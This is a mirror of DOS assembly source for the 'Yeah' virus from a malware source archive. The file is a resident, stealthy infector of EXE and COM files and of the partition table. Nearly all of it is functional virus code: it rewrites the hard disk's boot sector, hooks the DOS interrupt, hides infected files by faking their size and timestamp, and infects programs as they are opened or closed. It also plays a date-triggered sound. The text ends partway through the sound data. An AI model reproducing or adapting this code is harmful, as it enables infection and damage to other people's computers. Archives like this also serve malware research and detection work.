mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
1051 lines
35 KiB
NASM
1051 lines
35 KiB
NASM
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Virus Name: Yeah
|
|||
|
; Origin: Holland
|
|||
|
; Eff Length: 4,096 bytes
|
|||
|
; Type Code: PRhE - Parasitic Resident .EXE & partition table infector
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; This program is assembled with TASM V1.01 from Borland International
|
|||
|
; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
|
|||
|
;
|
|||
|
; TASM stealth;
|
|||
|
; LINK stealth,,stealth;
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Interrupt vectors
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
iseg segment at 0
|
|||
|
org 8*4
|
|||
|
Int8o dw 0 ; interrupt vector 21h
|
|||
|
Int8s dw 0
|
|||
|
|
|||
|
org 1ch*4
|
|||
|
Int1Co dw 0 ; interrupt vector 21h
|
|||
|
Int1Cs dw 0
|
|||
|
|
|||
|
org 21h*4
|
|||
|
Int21o dw 0 ; interrupt vector 21h
|
|||
|
Int21s dw 0
|
|||
|
|
|||
|
iseg ends
|
|||
|
|
|||
|
cseg segment public 'code'
|
|||
|
assume cs:cseg,ds:cseg,es:cseg
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Header of EXE-file
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
VirusSize equ 10d0h ; size of virus
|
|||
|
PrgSize equ 72h ; size of prg after the virus
|
|||
|
|
|||
|
Signature dw 0 ; signature 'MZ'
|
|||
|
PartPage dw 0 ; size of partitial page
|
|||
|
PageCount dw 0 ; number of pages
|
|||
|
ReloCount dw 0 ; number of relocation items
|
|||
|
HeaderSize dw 0 ; size of header
|
|||
|
MinMem dw 0 ; minimum memory needed
|
|||
|
MaxMem dw 0 ; maximum memory needed
|
|||
|
ExeSS dw 0 ; initial SS
|
|||
|
ExeSP dw 0 ; initial SP
|
|||
|
CheckSum dw 0 ; unused ???
|
|||
|
ExeIP dw 0 ; initial IP
|
|||
|
ExeCS dw 0 ; initial CS
|
|||
|
ReloOffset dw 0 ; offset of relocationtable
|
|||
|
OverlayNr dw 0 ; number of overlay
|
|||
|
|
|||
|
ComSize dw -1 ; Size of com-file (-1 for exe)
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; This procedure is called when starting from an exe-file
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
Main: pushf ; save flags
|
|||
|
sub sp,4 ; reserve space far cs:ip
|
|||
|
push ax ; save other registers
|
|||
|
push ds
|
|||
|
push es
|
|||
|
sti ; enable interrupts
|
|||
|
cmp cs:ComSize,-1 ; com or exe-file
|
|||
|
je ExeFile ; -1 : exe-file
|
|||
|
ComFile: mov word ptr ds:[6],0fef0h ; set availeble memory to max
|
|||
|
mov bp,sp ; set cs:ip on stack for
|
|||
|
mov word ptr [bp+8],ds ; returning to the orginal
|
|||
|
mov word ptr [bp+6],100h ; program
|
|||
|
mov bp,ds ; bp : stacksegment
|
|||
|
mov ax,cs ; bx : begin of com-file
|
|||
|
add ax,(VirusSize/10h)
|
|||
|
mov bx,ax
|
|||
|
mov cx,0ff0h ; cx : size of data to move
|
|||
|
add ax,cx ; es : buffer for mover and
|
|||
|
mov es,ax ; infecting the bootsect.
|
|||
|
push cs ; ds : codesegment
|
|||
|
pop ds
|
|||
|
jmp short InfectBoot ; infect bootsector
|
|||
|
ExeFile: mov dx,cs ; Relocation
|
|||
|
add dx,(VirusSize/10h)
|
|||
|
mov ds,dx
|
|||
|
mov cx,ReloCount ; number of relocation items
|
|||
|
add dx,HeaderSize ; size of exe-header
|
|||
|
mov si,ReloOffset ; offset of 1st relocation item
|
|||
|
jcxz NoRelo
|
|||
|
NextRelo: lodsw ; offset
|
|||
|
mov di,ax
|
|||
|
lodsw ; segment
|
|||
|
add ax,dx
|
|||
|
mov es,ax
|
|||
|
mov ax,cs ; relocation factor
|
|||
|
add es:[di],ax
|
|||
|
loop NextRelo ; next relocation item
|
|||
|
NoRelo: mov bp,sp
|
|||
|
mov ax,cs ; set cs:ip on stack for
|
|||
|
add ax,ExeCS ; returning to the orginal
|
|||
|
mov [bp+8],ax ; program
|
|||
|
mov ax,ExeIP
|
|||
|
mov [bp+6],ax
|
|||
|
mov bp,cs ; bp : stacksegment
|
|||
|
add bp,ExeSS
|
|||
|
mov ax,PageCount ; calculate size of exe-file
|
|||
|
mov dx,PartPage ; in paragraphs
|
|||
|
add dx,-1
|
|||
|
sbb ax,0
|
|||
|
mov cl,4
|
|||
|
shr dx,cl
|
|||
|
inc dx
|
|||
|
inc cl
|
|||
|
shl ax,cl
|
|||
|
add dx,ax
|
|||
|
add dx,MinMem ; dx : size of exe-file
|
|||
|
mov cx,dx ; cx : size of code and data
|
|||
|
sub cx,HeaderSize
|
|||
|
mov bx,cs ; bx : start of code and data
|
|||
|
mov ds,bx
|
|||
|
add bx,(VirusSize/10h)
|
|||
|
add bx,dx
|
|||
|
mov es,bx ; es : buffer for mover and
|
|||
|
sub bx,cx ; infecting the bootsect.
|
|||
|
InfectBoot: push bx ; save bx and cx
|
|||
|
push cx
|
|||
|
mov ax,201h ; read bootsector from disk
|
|||
|
xor bx,bx
|
|||
|
mov cx,1
|
|||
|
mov dx,80h
|
|||
|
int 13h
|
|||
|
jc BootOk ; error ?
|
|||
|
mov si,offset BootSector ; compare with infected code
|
|||
|
xor di,di
|
|||
|
mov cx,1*BootSize
|
|||
|
cld
|
|||
|
repe cmpsb
|
|||
|
je BootOk ; equal ?
|
|||
|
mov di,1beh+8 ; check partitions, we don't
|
|||
|
mov cx,4 ; want to overwrite them
|
|||
|
NextPartition: cmp word ptr es:[di+2],0
|
|||
|
ja SectOk
|
|||
|
cmp word ptr es:[di],(VirusSize+1ffh)/200h+1
|
|||
|
ja SectOk
|
|||
|
cmp word ptr es:[di],0
|
|||
|
ja BootOk
|
|||
|
SectOk: add di,10h
|
|||
|
loop NextPartition
|
|||
|
mov si,offset BootSector ; exchange code from bootsector
|
|||
|
xor di,di ; with viral code
|
|||
|
mov cx,1*BootSize
|
|||
|
cld
|
|||
|
call Swapsb
|
|||
|
push es ; write virus to disk
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov ax,(VirusSize+1ffh)/200h+300h
|
|||
|
mov cx,2
|
|||
|
int 13h
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
jc BootOk ; error ?
|
|||
|
mov ax,301h ; write bootsector to disk
|
|||
|
mov cx,1
|
|||
|
int 13h
|
|||
|
BootOk: pop cx ; restore bx and cx
|
|||
|
pop bx
|
|||
|
mov dx,cs ; dx = destenation segment
|
|||
|
xor di,di
|
|||
|
push es ; push seg:ofs of mover
|
|||
|
push di
|
|||
|
push cx ; save cx
|
|||
|
mov cx,1*MoverSize
|
|||
|
mov si,offset Mover
|
|||
|
cld ; copy mover-procedure
|
|||
|
rep movsb
|
|||
|
pop cx ; restore cx
|
|||
|
cli ; disable interrupts
|
|||
|
retf ; jump to mover
|
|||
|
|
|||
|
Mover: mov ax,cx ; save cx
|
|||
|
mov ds,bx ; ds:si = source
|
|||
|
mov es,dx ; es:di = destenation
|
|||
|
xor si,si
|
|||
|
xor di,di
|
|||
|
mov cx,8h ; copy one paragraph
|
|||
|
rep movsw
|
|||
|
inc bx
|
|||
|
inc dx
|
|||
|
mov cx,ax ; restore cx
|
|||
|
loop Mover ; next paragraph
|
|||
|
mov ss,bp ; ss = new stacksegment
|
|||
|
sti ; enable interrupts
|
|||
|
pop es ; restore registers
|
|||
|
pop ds
|
|||
|
pop ax
|
|||
|
iret ; jump to program
|
|||
|
|
|||
|
MoverSize equ ($-Mover)
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Bootsector startup
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
Bootsector: cli ; disable interrupts
|
|||
|
xor bx,bx ; setup stack and ds
|
|||
|
mov ds,bx
|
|||
|
mov ss,bx
|
|||
|
mov sp,7c00h
|
|||
|
sti ; enable interrupts
|
|||
|
mov ax,ds:[413h] ; get size of base memory
|
|||
|
sub ax,(VirusSize+3ffh)/400h; subtract virussize
|
|||
|
mov ds:[413h],ax ; store new memory size
|
|||
|
mov cl,6 ; calculate segment
|
|||
|
shl ax,cl
|
|||
|
mov es,ax ; load virus in reserved mem
|
|||
|
mov ax,(VirusSize+1ffh)/200h+200h
|
|||
|
mov cx,2
|
|||
|
mov dx,80h
|
|||
|
int 13h
|
|||
|
mov bx,offset StartUp ; bx=offset startup
|
|||
|
push es ; jump to startup (es:bx)
|
|||
|
push bx
|
|||
|
retf
|
|||
|
|
|||
|
BootSize equ ($-Bootsector) ; size of bootsector part
|
|||
|
|
|||
|
StartUp: cli ; disable interrupts
|
|||
|
mov ax,offset Interrupt1C ; hack interrupt 1C
|
|||
|
xchg ax,ds:Int1Co
|
|||
|
mov cs:OldInt1Co,ax
|
|||
|
mov ax,cs
|
|||
|
xchg ax,ds:Int1Cs
|
|||
|
mov cs:OldInt1Cs,ax
|
|||
|
mov cs:OldInt21o,-1
|
|||
|
mov cs:OldInt21s,-1
|
|||
|
mov cs:Count,-1
|
|||
|
sti ; enable interrupts
|
|||
|
push cs ; ds=cs
|
|||
|
pop es
|
|||
|
mov si,7c00h ; di=7c00h (Bootsector)
|
|||
|
mov di,offset BootSector ; si=BootSector
|
|||
|
mov cx,1*BootSize ; bytes to copy
|
|||
|
cld ; copy forward
|
|||
|
call Swapsb ; restore orginal boot
|
|||
|
mov ax,7c00h ; offset bootsector
|
|||
|
push ds ; jump to bootsector
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
Interrupt8: push ax ; save registers
|
|||
|
push si
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,SampleOffset ; get offset of next bit
|
|||
|
dec byte ptr ds:SampleBit
|
|||
|
test byte ptr ds:SampleBit,7
|
|||
|
jnz OfsOk
|
|||
|
inc si
|
|||
|
cmp si,offset SampleEnd ; end of sample ?
|
|||
|
jb OfsOk ; no, play bit
|
|||
|
mov al,34h ; reset int 8 frequency
|
|||
|
out 43h,al
|
|||
|
xor ax,ax
|
|||
|
out 40h,al
|
|||
|
out 40h,al
|
|||
|
mov ds,ax ; reset int 8 vector
|
|||
|
mov ax,cs:OldInt8o
|
|||
|
mov ds:Int8o,ax
|
|||
|
mov ax,cs:OldInt8s
|
|||
|
mov ds:Int8s,ax
|
|||
|
inc byte ptr cs:SampleFlag ; set sample ready flag
|
|||
|
jmp short ExitInt8 ; end of interrupt
|
|||
|
OfsOk: mov SampleOffset,si ; store offset
|
|||
|
rol byte ptr ds:[si],1 ; next bit
|
|||
|
mov ah,ds:[si] ; get bit value
|
|||
|
and ah,1
|
|||
|
shl ah,1
|
|||
|
in al,61h ; get value of io-port 61h
|
|||
|
and al,0fch ; reset last 2 bits
|
|||
|
or al,ah ; set bit 2 with sample value
|
|||
|
out 61h,al ; write to io-port 61h
|
|||
|
ExitInt8: mov al,20h ; end of interrupt signal
|
|||
|
out 20h,al
|
|||
|
pop ds ; restore registers
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
iret ; return to program
|
|||
|
|
|||
|
Interrupt1C: push ds ; save registers
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
xor ax,ax ; interrupts vectors
|
|||
|
mov ds,ax
|
|||
|
mov ax,ds:Int21o
|
|||
|
cmp cs:OldInt21o,ax
|
|||
|
jne Changed
|
|||
|
mov ax,ds:Int21s
|
|||
|
cmp cs:OldInt21s,ax
|
|||
|
je Equal
|
|||
|
Changed: mov ax,ds:Int21o
|
|||
|
mov cs:OldInt21o,ax
|
|||
|
mov ax,ds:Int21s
|
|||
|
mov cs:OldInt21s,ax
|
|||
|
mov cs:Count,182
|
|||
|
jmp short NotReady
|
|||
|
Equal: dec cs:Count
|
|||
|
jnz NotReady
|
|||
|
mov ax,cs:OldInt1Co ; restore vector 1C
|
|||
|
mov ds:Int1Co,ax ; (This interrupt)
|
|||
|
mov ax,cs:OldInt1Cs
|
|||
|
mov ds:Int1Cs,ax
|
|||
|
mov ax,offset Interrupt21 ; Hack interrupt 21
|
|||
|
xchg ax,ds:Int21o
|
|||
|
mov cs:OldInt21o,ax
|
|||
|
mov ax,cs
|
|||
|
xchg ax,ds:Int21s
|
|||
|
mov cs:OldInt21s,ax
|
|||
|
mov ax,8
|
|||
|
mov bx,offset Handle
|
|||
|
NextHandle: mov word ptr cs:[bx],0
|
|||
|
inc bx
|
|||
|
inc bx
|
|||
|
dec ax
|
|||
|
jnz NextHandle
|
|||
|
mov byte ptr cs:Active,-1
|
|||
|
NotReady: pop bx
|
|||
|
pop ax ; restore registers
|
|||
|
pop ds
|
|||
|
jmp cs:OldInt1C ; do orginal int 1C
|
|||
|
|
|||
|
Swapsb: mov al,es:[di] ; exchange two memory bytes
|
|||
|
xchg al,ds:[si]
|
|||
|
stosb
|
|||
|
inc si
|
|||
|
loop Swapsb ; next byte
|
|||
|
ret ; return
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Manipilated functions
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
Functions db 11h ; 1
|
|||
|
dw offset FindFCB
|
|||
|
db 12h ; 2
|
|||
|
dw offset FindFCB
|
|||
|
db 30h ; 3
|
|||
|
dw offset DosVersion
|
|||
|
db 3ch ; 4
|
|||
|
dw offset Open
|
|||
|
db 3dh ; 5
|
|||
|
dw offset Open
|
|||
|
db 3eh ; 6
|
|||
|
dw offset Close
|
|||
|
db 42h ; 7
|
|||
|
dw offset Seek
|
|||
|
db 45h ; 8
|
|||
|
dw offset Duplicate
|
|||
|
db 46h ; 9
|
|||
|
dw offset Redirect
|
|||
|
db 4eh ; 10
|
|||
|
dw offset Find
|
|||
|
db 4fh ; 11
|
|||
|
dw offset Find
|
|||
|
db 5bh ; 12
|
|||
|
dw offset Open
|
|||
|
db 6ch ; 13
|
|||
|
dw offset OpenCreate
|
|||
|
|
|||
|
FunctionCount equ 13
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; The orginal interrupt 21h is redirected to this procedure
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
DosVersion: push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
cmp cs:Active,0
|
|||
|
je NotActive
|
|||
|
mov ah,2ah
|
|||
|
call DOS
|
|||
|
cmp ActiveYear,cx
|
|||
|
jb NotActive
|
|||
|
cmp ActiveDate,dx
|
|||
|
jb NotActive
|
|||
|
cli
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,offset Interrupt8
|
|||
|
xchg ax,ds:Int8o
|
|||
|
mov cs:OldInt8o,ax
|
|||
|
mov ax,cs
|
|||
|
xchg ax,ds:Int8s
|
|||
|
mov cs:OldInt8s,ax
|
|||
|
mov al,34h
|
|||
|
out 43h,al
|
|||
|
mov al,80h
|
|||
|
out 40h,al
|
|||
|
mov al,0
|
|||
|
out 40h,al
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov byte ptr SampleFlag,0
|
|||
|
mov byte ptr SampleBit,0
|
|||
|
mov word ptr SampleOffset,offset SampleData
|
|||
|
sti
|
|||
|
Delay: cmp byte ptr SampleFlag,0
|
|||
|
je Delay
|
|||
|
mov byte ptr Active,0
|
|||
|
NotActive: pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
jmp Old21
|
|||
|
|
|||
|
FindFCB: call DOS ; call orginal interrupt
|
|||
|
cmp al,0 ; error ?
|
|||
|
jne Ret1
|
|||
|
pushf ; save registers
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push es
|
|||
|
mov ah,2fh ; get DTA
|
|||
|
call DOS
|
|||
|
cmp byte ptr es:[bx],-1 ; extended fcb ?
|
|||
|
jne FCBOk
|
|||
|
add bx,8 ; yes, skip 8 bytes
|
|||
|
FCBOk: mov al,es:[bx+16h] ; get file-time (low byte)
|
|||
|
and al,1fh ; seconds
|
|||
|
cmp al,1fh ; 62 seconds ?
|
|||
|
jne FileOk ; no, file not infected
|
|||
|
sub word ptr es:[bx+1ch],VirusSize
|
|||
|
sbb word ptr es:[bx+1eh],0 ; adjust file-size
|
|||
|
jmp short Time
|
|||
|
|
|||
|
Find: call DOS ; call orginal interrupt
|
|||
|
jc Ret1 ; error ?
|
|||
|
pushf ; save registers
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push es
|
|||
|
mov ah,2fh
|
|||
|
call DOS
|
|||
|
mov al,es:[bx+16h] ; get file-time (low byte)
|
|||
|
and al,1fh ; seconds
|
|||
|
cmp al,1fh ; 62 seconds ?
|
|||
|
jne FileOk ; no, file not infected
|
|||
|
sub word ptr es:[bx+1ah],VirusSize
|
|||
|
sbb word ptr es:[bx+1ch],0 ; change file-size
|
|||
|
Time: xor byte ptr es:[bx+16h],1fh; adjust file-time
|
|||
|
FileOk: pop es ; restore registers
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
popf
|
|||
|
Ret1: retf 2 ; return
|
|||
|
|
|||
|
Seek: or bx,bx ; bx=0 ?
|
|||
|
jz Old21 ; yes, do orginal interrupt
|
|||
|
push bx
|
|||
|
call FindHandle
|
|||
|
pop bx
|
|||
|
jc Old21
|
|||
|
Stealth: or al,al ; seek from top of file ?
|
|||
|
jnz Relative ; no, don't change cx:dx
|
|||
|
add dx,VirusSize ; change cx:dx
|
|||
|
adc cx,0
|
|||
|
Relative: call DOS ; Execute orginal int 21h
|
|||
|
jc Ret1 ; Error ?
|
|||
|
sub ax,VirusSize ; adjust dx:ax
|
|||
|
sbb dx,0
|
|||
|
jmp short Ret1 ; return
|
|||
|
|
|||
|
Close: or bx,bx ; bx=0 ?
|
|||
|
je Old21 ; yes, do orginal interrupt
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push ds
|
|||
|
push cs ; ds=cs
|
|||
|
pop ds
|
|||
|
push bx
|
|||
|
call FindHandle
|
|||
|
mov si,bx
|
|||
|
pop bx
|
|||
|
jc NotStealth
|
|||
|
mov word ptr ds:[si],0
|
|||
|
call UpdateHeader
|
|||
|
NotStealth: pop ds ; restore registers
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
Not2: jmp short Old21 ; continue with orginal int
|
|||
|
|
|||
|
Interrupt21: push bx ; after an int 21h instruction
|
|||
|
push cx ; this procedure is started
|
|||
|
mov bx,offset Functions
|
|||
|
mov cx,FunctionCount
|
|||
|
NxtFn: cmp ah,cs:[bx] ; search function
|
|||
|
je FunctionTrap
|
|||
|
add bx,3
|
|||
|
loop NxtFn
|
|||
|
pop cx ; function not found
|
|||
|
pop bx
|
|||
|
Old21: jmp cs:OldInt21
|
|||
|
|
|||
|
FunctionTrap: push bp ; function found, start viral
|
|||
|
mov bp,sp ; version of function
|
|||
|
mov bx,cs:[bx+1]
|
|||
|
xchg bx,[bp+4]
|
|||
|
mov cx,[bp+10]
|
|||
|
xchg cx,[bp+2]
|
|||
|
pop bp
|
|||
|
popf
|
|||
|
ret
|
|||
|
|
|||
|
Duplicate: call DOS
|
|||
|
jc Error
|
|||
|
pushf
|
|||
|
push bx
|
|||
|
call FindHandle
|
|||
|
jc Ret3
|
|||
|
mov bx,ax
|
|||
|
call StoreHandle
|
|||
|
Ret3: pop bx
|
|||
|
popf
|
|||
|
jmp Ret2
|
|||
|
|
|||
|
Redirect: call DOS
|
|||
|
jc Error
|
|||
|
pushf
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
xchg bx,cx
|
|||
|
call FindHandle
|
|||
|
jc Ret4
|
|||
|
mov cs:[bx],cx
|
|||
|
Ret4: pop cx
|
|||
|
pop bx
|
|||
|
popf
|
|||
|
jmp Ret2
|
|||
|
|
|||
|
OpenCreate: or al,al ; extended open/create function
|
|||
|
jne Old21 ; no, do orginal interrupt 21
|
|||
|
push dx ; save dx
|
|||
|
mov dx,si ; check extension of filename
|
|||
|
call CheckName
|
|||
|
pop dx ; retore dx
|
|||
|
jc Old21 ; exe or com-file?
|
|||
|
jmp short ExtensionOk ; yes, infect file or use
|
|||
|
; stealth
|
|||
|
|
|||
|
Open: call CheckName ; exe or com-file ?
|
|||
|
jc Old21 ; no, do orginal int 21
|
|||
|
ExtensionOk: call DOS ; do interrupt 21
|
|||
|
jnc NoError ; error ?
|
|||
|
Error: jmp Ret2 ; yes, return and do nothing
|
|||
|
NoError: pushf ; save registers
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov bx,ax ; bx = file handle
|
|||
|
mov ax,4400h ; get device information
|
|||
|
call DOS
|
|||
|
jc PopRet ; error ?
|
|||
|
test dx,80h ; character device
|
|||
|
jnz PopRet ; yes, return and do nothing
|
|||
|
call EndOfFile ; get file size
|
|||
|
or ax,dx ; 0 ?
|
|||
|
jnz FileExists ; no, file already existed
|
|||
|
FileCreated: call HandleFree
|
|||
|
jc PopRet
|
|||
|
mov ah,2ah
|
|||
|
call DOS
|
|||
|
add dh,3
|
|||
|
cmp dh,12
|
|||
|
jbe DateOk
|
|||
|
inc cx
|
|||
|
sub dh,12
|
|||
|
DateOk: mov ActiveYear,cx
|
|||
|
mov ActiveDate,dx
|
|||
|
mov ah,40h ; write virus to file
|
|||
|
mov cx,VirusSize
|
|||
|
call Zero2
|
|||
|
jc NoVir ; error ? yes, return
|
|||
|
xor ax,cx ; entire virus written ?
|
|||
|
jnz NoVir ; no, return
|
|||
|
call StoreHandle
|
|||
|
jmp short PopRet ; return
|
|||
|
FileExists: call TopOfFile ; go to top of file
|
|||
|
call HandleFree
|
|||
|
jc PopRet ; no, do nothing
|
|||
|
call ReadHeader ; read exe-header
|
|||
|
jc NoVir ; error ?
|
|||
|
xor ax,cx ; entire header read
|
|||
|
jne NoVir ; no, not infected
|
|||
|
cmp Signature,5a4dh ; signature = 'MZ' ?
|
|||
|
jne NoVir ; no, not infected
|
|||
|
cmp HeaderSize,ax ; headersize = 0 ?
|
|||
|
jne NoVir ; no, not infected
|
|||
|
cmp CheckSum,0DEADh ; checksum = DEAD hex
|
|||
|
jne NoVir ; no, not infected
|
|||
|
call StoreHandle
|
|||
|
mov dx,VirusSize ; seek to end of virus
|
|||
|
jmp short Infected
|
|||
|
NoVir: xor dx,dx
|
|||
|
Infected: xor cx,cx ; go to end of virus if file
|
|||
|
mov ax,4200h ; is infected
|
|||
|
call DOS
|
|||
|
PopRet: pop ds ; restore registers
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
popf
|
|||
|
Ret2: retf 2 ; return
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
EndOfFile: mov ax,4202h ; go to end of file
|
|||
|
jmp short Zero1
|
|||
|
|
|||
|
TopOfFile: mov ax,4200h ; go to top of file
|
|||
|
Zero1: xor cx,cx
|
|||
|
jmp short Zero2
|
|||
|
|
|||
|
WriteHeader: mov ah,40h ; write exe-header to file
|
|||
|
jmp short Hdr
|
|||
|
|
|||
|
ReadHeader: mov ah,3fh ; read exe-header from file
|
|||
|
Hdr: mov cx,1eh
|
|||
|
Zero2: xor dx,dx
|
|||
|
|
|||
|
DOS: pushf ; call orginal interrupt
|
|||
|
call cs:OldInt21
|
|||
|
ret
|
|||
|
|
|||
|
FindHandle: push ax
|
|||
|
push cx
|
|||
|
mov ax,bx
|
|||
|
mov bx,offset Handle
|
|||
|
mov cx,8
|
|||
|
NotFound: cmp ax,cs:[bx]
|
|||
|
je Found
|
|||
|
inc bx
|
|||
|
inc bx
|
|||
|
loop NotFound
|
|||
|
stc
|
|||
|
Found: pop cx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
HandleFree: push bx
|
|||
|
xor bx,bx
|
|||
|
call FindHandle
|
|||
|
pop bx
|
|||
|
ret
|
|||
|
|
|||
|
StoreHandle: push bx
|
|||
|
push bx
|
|||
|
xor bx,bx
|
|||
|
call FindHandle
|
|||
|
pop cs:[bx]
|
|||
|
pop bx
|
|||
|
ret
|
|||
|
|
|||
|
CheckName: push ax ; check for .exe or .com
|
|||
|
push cx ; save registers
|
|||
|
push si
|
|||
|
push di
|
|||
|
xor ah,ah ; point found = 0
|
|||
|
mov cx,100h ; max length filename = 100h
|
|||
|
mov si,dx ; si = start of filename
|
|||
|
cld
|
|||
|
NxtChr: lodsb ; get byte
|
|||
|
or al,al ; 0 ?
|
|||
|
je EndName ; yes, check extension
|
|||
|
cmp al,'\' ; \ ?
|
|||
|
je Slash ; yes, point found = 0
|
|||
|
cmp al,'.' ; . ?
|
|||
|
je Point ; yes, point found = 1
|
|||
|
loop NxtChr ; next character
|
|||
|
jmp short EndName ; check extension
|
|||
|
Slash: xor ah,ah ; point found = 0
|
|||
|
jmp NxtChr ; next character
|
|||
|
Point: inc ah ; point found = 1
|
|||
|
mov di,si ; di = start of extension
|
|||
|
jmp NxtChr ; next character
|
|||
|
EndName: cmp ah,1 ; point found = 0
|
|||
|
jne NotExe ; yes, not an exe-file
|
|||
|
mov si,di ; si = start of extension
|
|||
|
lodsw ; first 2 characters
|
|||
|
and ax,0dfdfh ; uppercase
|
|||
|
mov cx,ax
|
|||
|
lodsb ; 3rd character
|
|||
|
and al,0dfh ; uppercase
|
|||
|
cmp cx,04f43h ; extension = .com ?
|
|||
|
jne NotCom
|
|||
|
cmp al,04dh
|
|||
|
je ChkRet
|
|||
|
NotCom: cmp cx,05845h ; extension = .exe ?
|
|||
|
jne NotExe
|
|||
|
cmp al,045h
|
|||
|
je ChkRet
|
|||
|
NotExe: stc ; set carry flag
|
|||
|
ChkRet: pop di ; restore registers
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
ret ; return
|
|||
|
|
|||
|
UpdateHeader: mov ax,4200h ; position read/write pointer
|
|||
|
xor cx,cx ; at the end of the virus
|
|||
|
mov dx,VirusSize
|
|||
|
call DOS
|
|||
|
call ReadHeader ; read orginal exe-header
|
|||
|
cmp Signature,5a4dh
|
|||
|
je InfectExe
|
|||
|
InfectCom: mov Signature,5a4dh
|
|||
|
mov ReloOffset,01ch
|
|||
|
mov OverlayNr,0
|
|||
|
mov ExeSS,(VirusSize-100h)/10h
|
|||
|
mov ExeSP,0fffeh
|
|||
|
call EndOfFile
|
|||
|
sub ax,VirusSize
|
|||
|
sbb dx,0
|
|||
|
mov ComSize,ax
|
|||
|
mov cx,10h
|
|||
|
div cx
|
|||
|
sub dx,1
|
|||
|
mov dx,0ff2h+20h
|
|||
|
sbb dx,ax
|
|||
|
mov MinMem,dx
|
|||
|
jmp WriteIt
|
|||
|
InfectExe: mov ComSize,-1
|
|||
|
mov ax,(VirusSize/10h)
|
|||
|
add ax,HeaderSize
|
|||
|
add ExeSS,ax
|
|||
|
add MinMem,20h
|
|||
|
add MaxMem,20h
|
|||
|
jnc MaxOk
|
|||
|
WriteIt: mov MaxMem,0ffffh
|
|||
|
MaxOk: mov ReloCount,0
|
|||
|
mov HeaderSize,0
|
|||
|
mov CheckSum,0DEADh
|
|||
|
mov ExeCS,0
|
|||
|
mov ExeIP,offset Main
|
|||
|
call EndOfFile
|
|||
|
mov cx,200h
|
|||
|
div cx
|
|||
|
mov PartPage,dx
|
|||
|
add dx,-1
|
|||
|
adc ax,0
|
|||
|
mov PageCount,ax
|
|||
|
call TopOfFile
|
|||
|
call WriteHeader ; write header at the top of
|
|||
|
jc InfErr ; the virus
|
|||
|
mov ax,5700h
|
|||
|
call DOS
|
|||
|
mov ax,5701h
|
|||
|
or cl,1fh
|
|||
|
call DOS
|
|||
|
InfErr: ret
|
|||
|
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Data to generate the 123 yeah sound
|
|||
|
;
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
|
|||
|
SampleData db 07dh,075h,05fh,0ffh,0ffh,0ffh,0ffh,0a0h,03fh,007h,0f8h,03ch,007h,0e0h,07fh,003h
|
|||
|
db 0c0h,0f8h,00fh,0c0h,0f0h,07ch,00fh,0c0h,0f8h,0f0h,01fh,081h,0ffh,081h,0fch,00ch
|
|||
|
db 07eh,007h,0f0h,071h,0f0h,03fh,007h,00fh,083h,0f0h,071h,0f8h,03fh,007h,01fh,003h
|
|||
|
db 0e0h,0e3h,0e0h,07ch,000h,0fch,00fh,080h,03fh,003h,0e0h,01fh,0c0h,0fch,007h,0f0h
|
|||
|
db 03fh,003h,0f8h,00fh,0c0h,0feh,003h,0f0h,07fh,001h,0f8h,03fh,0c0h,07eh,007h,0fch
|
|||
|
db 03fh,001h,0f8h,01eh,01fh,002h,03eh,00fh,0c0h,03fh,007h,0f0h,01fh,007h,0fch,00fh
|
|||
|
db 082h,0ffh,00fh,086h,00fh,038h,03eh,004h,03ch,01fh,008h,03eh,01fh,008h,03eh,00fh
|
|||
|
